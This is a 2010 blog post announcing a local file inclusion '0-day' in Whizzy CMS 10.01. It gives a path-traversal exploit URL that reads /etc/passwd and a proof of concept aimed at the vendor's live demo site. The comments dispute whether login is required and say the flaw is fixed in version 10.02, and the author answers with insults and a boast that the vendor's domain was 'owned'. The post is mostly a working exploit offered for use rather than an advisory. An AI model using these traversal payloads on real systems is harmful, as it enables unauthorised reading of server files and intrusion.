Wednesday, July 14, 2010

Whizzy CMS 10.01 0-day

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Local File Inclusion
[x] Vendor: Unverse.net
[x] Script Name: Whizzy CMS
[x] Script version: 10.01
[x] Author: Anarchy Angel
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:
http://site.org/?[LFI]

Ex:
http://site.org/?../../../../../../../etc/passwd

PoC on live demo:
http://www.unverse.net/whizzydemo/?../../../../../../../../../../../../etc/passwd


Special Tnx : lun0s, proge, sToRm, progenic, gny
Posted by at
Labels: , ,

4 comments:

  1. AAJuly 15, 2010 at 8:21 AM

    http://www.exploit-db.com/exploits/14366/ :D

    ReplyDelete
  2. AAJuly 15, 2010 at 11:05 AM

    http://inj3ct0r.com/exploits/13344 :)

    ReplyDelete
  3. UnknownJuly 22, 2010 at 5:19 AM

    First, the example given was wrong - you had to be logged in as an admin user and provide some other stuff in the query string to see the exploit.

    Second, this vulnerability is fixed by upgrading to Whizzy CMS 10.02 (or above), available from http://code.google.com/p/whizzy/

    ReplyDelete
  4. AAJuly 22, 2010 at 6:17 AM

    Sorry but your wrong jack :P You do not have to be logged in to exploit the lfi, i know cuz i found it and tested it out lots before reporting it. And no shit its fixed dumb ass, after their domain got owned im sure they did everything they could to fix it lol

    ReplyDelete

Subscribe to: Post Comments (Atom)